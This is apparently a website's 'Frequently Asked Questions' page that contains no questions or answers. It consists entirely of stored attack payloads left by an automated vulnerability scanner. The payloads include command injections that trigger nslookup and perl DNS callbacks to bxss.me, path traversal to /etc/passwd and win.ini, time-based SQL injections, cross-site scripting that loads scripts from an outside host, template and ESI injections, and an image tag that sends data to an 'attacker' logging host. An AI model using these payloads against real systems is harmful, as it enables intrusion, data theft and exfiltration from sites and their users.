Frequently Asked Questions






echo tvukaw$()\ gpjitm\nz^xyu||a #' &echo tvukaw$()\ gpjitm\nz^xyu||a #|" &echo tvukaw$()\ gpjitm\nz^xyu||a #


../../../../../../../../../../etc/passwd


/../../../../../../../../../../windows/system32/BITSADMIN.exe


2SU57fXV


&echo btgzqh$()\ btklzs\nz^xyu||a #' &echo btgzqh$()\ btklzs\nz^xyu||a #|" &echo btgzqh$()\ btklzs\nz^xyu||a #


response.write(9305035*9173680)


../../../../../../../../../../windows/win.ini










'+response.write(9305035*9173680)+'


|echo zfweac$()\ pypahz\nz^xyu||a #' |echo zfweac$()\ pypahz\nz^xyu||a #|" |echo zfweac$()\ pypahz\nz^xyu||a #




/../../../../../../../../../../windows/system32/BITSADMIN.exe


2Kr194PH




"+response.write(9305035*9173680)+"


../ 



(nslookup hitytusifnyglfcc9d.bxss.me||perl -e "gethostbyname('hitytusifnyglfcc9d.bxss.me')")






$(nslookup hitftfxkbivpra8cda.bxss.me||perl -e "gethostbyname('hitftfxkbivpra8cda.bxss.me')")



<esi:include src="http://bxss.me/rpb.png"/>


&(nslookup hitqshjeniofodc7d2.bxss.me||perl -e "gethostbyname('hitqshjeniofodc7d2.bxss.me')")&'\"`0&(nslookup hitqshjeniofodc7d2.bxss.me||perl -e "gethostbyname('hitqshjeniofodc7d2.bxss.me')")&`'










|(nslookup hitpvlilwshrb6c04a.bxss.me||perl -e "gethostbyname('hitpvlilwshrb6c04a.bxss.me')")

<esi:include src="http://bxss.me/rpb.png"/>








12345'"\'\");|]*�{ <�>%BF''💡








response.write(9279675*9045886)








${9999211+9999827}


`(nslookup hitjigzutmkvudea64.bxss.me||perl -e "gethostbyname('hitjigzutmkvudea64.bxss.me')")`










http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg


;(nslookup hitdnrucwvqjz0de83.bxss.me||perl -e "gethostbyname('hitdnrucwvqjz0de83.bxss.me')")|(nslookup hitdnrucwvqjz0de83.bxss.me||perl -e "gethostbyname('hitdnrucwvqjz0de83.bxss.me')")&(nslookup hitdnrucwvqjz0de83.bxss.me||perl -e "gethostbyname('hitdnrucwvqjz0de83.bxss.me')")
${9999053+9999725}


'+response.write(9279675*9045886)+'










"+response.write(9279675*9045886)+"


../../../../../../../../../../etc/passwd
















1some_inexistent_file_with_long_name�.jpg
../../../../../../../../../../windows/win.ini








Http://bxss.me/t/fit.txt










http://bxss.me/t/fit.txt?.jpg



&n909527=v966562




../ 





bxss.me




















12345'"\'\");|]*�{ <�>%BF''💡








)





&n921282=v973636








!(()&&!|*|*|






^(#$!@#$)(()))******




echo itsacu$()\ rnoycp\nz^xyu||a #' &echo itsacu$()\ rnoycp\nz^xyu||a #|" &echo itsacu$()\ rnoycp\nz^xyu||a #












'"()


'.gethostbyname(lc('hityr'.'cggmxglpf2fd3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(79).chr(114).chr(85).'
&echo dnobva$()\ crcyvd\nz^xyu||a #' &echo dnobva$()\ crcyvd\nz^xyu||a #|" &echo dnobva$()\ crcyvd\nz^xyu||a #








;print(md5(31337));










".gethostbyname(lc("hitve"."mkidnart843ec.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(87).chr(119).chr(83)."
|echo czlika$()\ iyvopw\nz^xyu||a #' |echo czlika$()\ iyvopw\nz^xyu||a #|" |echo czlika$()\ iyvopw\nz^xyu||a #








';print(md5(31337));$a='
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg


(nslookup hitziaaforukla6378.bxss.me||perl -e "gethostbyname('hitziaaforukla6378.bxss.me')")










)




";print(md5(31337));$a="
1some_inexistent_file_with_long_name�.jpg


$(nslookup hitpizxsiwqqr86143.bxss.me||perl -e "gethostbyname('hitpizxsiwqqr86143.bxss.me')")


!(()&&!|*|*|










'"()


Http://bxss.me/t/fit.txt


^(#$!@#$)(()))******




-1 OR 2+673-673-1=0+0+0+1 --


${@print(md5(31337))}
http://bxss.me/t/fit.txt?.jpg




-1 OR 2+893-893-1=0+0+0+1


${@print(md5(31337))}\
'.gethostbyname(lc('hitsj'.'jqxjpbtrbf2cc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(119).chr(68).'




ctime sleep p0 (I30 tp1 Rp2 .


-1' OR 2+603-603-1=0+0+0+1 --
&(nslookup hitakqjskdklo03efd.bxss.me||perl -e "gethostbyname('hitakqjskdklo03efd.bxss.me')")&'\"`0&(nslookup hitakqjskdklo03efd.bxss.me||perl -e "gethostbyname('hitakqjskdklo03efd.bxss.me')")&`'




'.print(md5(31337)).'
|(nslookup hitmikbkfaqni4c206.bxss.me||perl -e "gethostbyname('hitmikbkfaqni4c206.bxss.me')")


".gethostbyname(lc("hitss"."wilixheb383b9.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(83).chr(110).chr(90)."


ctime sleep p0 (I30 tp1 Rp2 .




-1' OR 2+925-925-1=0+0+0+1 or 'yhzBUnUh'='
bxss.me




HttP://bxss.me/t/xss.html?%00
`(nslookup hituolzwrngbr52149.bxss.me||perl -e "gethostbyname('hituolzwrngbr52149.bxss.me')")`




-1" OR 2+846-846-1=0+0+0+1 --


bxss.me/t/xss.html?%00
;(nslookup hitnttlqbtbmc972ad.bxss.me||perl -e "gethostbyname('hitnttlqbtbmc972ad.bxss.me')")|(nslookup hitnttlqbtbmc972ad.bxss.me||perl -e "gethostbyname('hitnttlqbtbmc972ad.bxss.me')")&(nslookup hitnttlqbtbmc972ad.bxss.me||perl -e "gethostbyname('hitnttlqbtbmc972ad.bxss.me')")
















Create






"+"A".concat(70-3).concat(22*4).concat(114).concat(81).concat(103).concat(82)+(require"socket" Socket.gethostbyname("hitew"+"cpbfnjxr9f8e7.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00




Create�




bxss.me/t/xss.html?%00




'+'A'.concat(70-3).concat(22*4).concat(104).concat(70).concat(112).concat(79)+(require'socket' Socket.gethostbyname('hitzp'+'ppvandmoe0524.bxss.me.')[3].to_s)+'


Create/.


























)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
;print(md5(31337));








/xfs.bxss.me








';print(md5(31337));$a='


Create




'"




)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))


"+"A".concat(70-3).concat(22*4).concat(101).concat(79).concat(108).concat(76)+(require"socket" Socket.gethostbyname("hitgk"+"uadzlfjr4e902.bxss.me.")[3].to_s)+"


";print(md5(31337));$a="


Create�




<!--
/xfs.bxss.me


'+'A'.concat(70-3).concat(22*4).concat(111).concat(84).concat(121).concat(68)+(require'socket' Socket.gethostbyname('hitkg'+'ncudssyy8c94e.bxss.me.')[3].to_s)+'


${@print(md5(31337))}


Create/.













'"()&%<acx><ScRiPt >wORJ(9499)</ScRiPt>
${@print(md5(31337))}\


'.print(md5(31337)).'


'"




if(now()=sysdate(),sleep(15),0)
<!--




'"()&%<acx><ScRiPt >wORJ(9563)</ScRiPt>



9658238


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z


acu4703＜s1﹥s2ʺs3ʹuca4703


acux7537%C0%BEz1%C0%BCz2a%90bcxuca7537


<%={{={@{#{${acx}}%>


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z






<th:t="${acx}#foreach






1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>


(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/






acx{{98991*97996}}xca


acx[[${98991*97996}]]xca


acx__${98991*97996}__::.x


1 waitfor delay '0:0:15' --



<ScRiPt >wORJ(9238)</ScRiPt>


9ow7uegh'; waitfor delay '0:0:15' --


3yznR7uf'); waitfor delay '0:0:15' --



<WVX2LR>9BRHL[!+!]</WVX2LR>



<ScRiPt >wORJ(9471)</ScRiPt>


ePecsZe1')); waitfor delay '0:0:15' --



<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9081></ScRiPt>



<�ScRiPt >wORJ(9518)</ScRiPt>



<svg %A0�onload=wORJ(9303);>



<isindex type=image src=1 onerror=wORJ(9956)>


u3wmHWbd' OR 170=(SELECT 170 FROM PG_SLEEP(15))--



<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9780'>



<body onload=wORJ(9025)>



<img src=//xss.bxss.me/t/dot.gif onload=wORJ(9852)>



<img src=xyz OnErRor=wORJ(9295)>



<img/src=">" onerror=alert(9799)>


FGhA3lWi') OR 62=(SELECT 62 FROM PG_SLEEP(15))--


%0D%0A%26%23%78%44%3B%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%77%4F%52%4A%289672%29%3C%2F%73%43%72%69%70%54%3E



<ScRiPt>wORJ(9167)</sCripT>


%F6<img acu onmouseover=wORJ(92161) //%F6>


JzRS0ggm')) OR 27=(SELECT 27 FROM PG_SLEEP(15))--



<input autofocus onfocus=wORJ(9469)>


<a HrEF=http://xss.bxss.me></a>


<a HrEF=jaVaScRiPT:>



}body{acu:Expre/**/SSion(wORJ(9158))}



<% contenteditable onresize=wORJ(9332)>



'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'


1'"



mhQNT <ScRiPt >wORJ(9728)</ScRiPt>


1�%C0%A7%C0%A2%2527%2522


@@ITtPM



<WBTTJB>B2SEU[!+!]</WBTTJB>



<ifRAme sRc=9741.com></IfRamE>



<0QUQh8 x=9466>



<img sRc='http://attacker-9278/log.php?



<4tx7fX<





































'"()&%<acx><ScRiPt >wORJ(9884)</ScRiPt>






'"()&%<acx><ScRiPt >wORJ(9325)</ScRiPt>



9148908


acu2599＜s1﹥s2ʺs3ʹuca2599


acux9061%C0%BEz1%C0%BCz2a%90bcxuca9061


<%={{={@{#{${acx}}%>






















<th:t="${acx}#foreach










1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>






acx{{98991*97996}}xca






acx[[${98991*97996}]]xca


acx__${98991*97996}__::.x



<ScRiPt >wORJ(9012)</ScRiPt>



<WCL9GD>0CXGL[!+!]</WCL9GD>







<ScRiPt >wORJ(9634)</ScRiPt>



<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9665></ScRiPt>







<�ScRiPt >wORJ(9566)</ScRiPt>



<svg %A0�onload=wORJ(9192);>







<isindex type=image src=1 onerror=wORJ(9946)>



<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9092'>



<body onload=wORJ(9854)>







<img src=//xss.bxss.me/t/dot.gif onload=wORJ(9683)>



<img src=xyz OnErRor=wORJ(9037)>







<img/src=">" onerror=alert(9385)>


%0D%0A%26%23%78%44%3B%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%77%4F%52%4A%289633%29%3C%2F%73%43%72%69%70%54%3E







<ScRiPt>wORJ(9235)</sCripT>














%F6<img acu onmouseover=wORJ(97961) //%F6>










-1 OR 2+601-601-1=0+0+0+1 --


-1 OR 2+681-681-1=0+0+0+1


-1' OR 2+983-983-1=0+0+0+1 --


-1' OR 2+247-247-1=0+0+0+1 or 'lZXypAW8'='


-1" OR 2+430-430-1=0+0+0+1 --



<input autofocus onfocus=wORJ(9271)>


<a HrEF=http://xss.bxss.me></a>


<a HrEF=jaVaScRiPT:>


if(now()=sysdate(),sleep(15),0)



}body{acu:Expre/**/SSion(wORJ(9518))}



<% contenteditable onresize=wORJ(9070)>



GfM0M <ScRiPt >wORJ(9141)</ScRiPt>


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z



<WAIVUB>1IGIX[!+!]</WAIVUB>



<ifRAme sRc=9668.com></IfRamE>


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z



<Rx6Xa1 x=9903>


(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/



<img sRc='http://attacker-9379/log.php?



<0smeay<


1 waitfor delay '0:0:15' --


HRck5cGj'; waitfor delay '0:0:15' --


zB96VSvj'); waitfor delay '0:0:15' --


xNW2J0IW')); waitfor delay '0:0:15' --


9srcgVDw' OR 613=(SELECT 613 FROM PG_SLEEP(15))--


oxD8IxKz') OR 791=(SELECT 791 FROM PG_SLEEP(15))--


6Ieviebw')) OR 855=(SELECT 855 FROM PG_SLEEP(15))--



'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'


1'"


1�%C0%A7%C0%A2%2527%2522


@@FamLt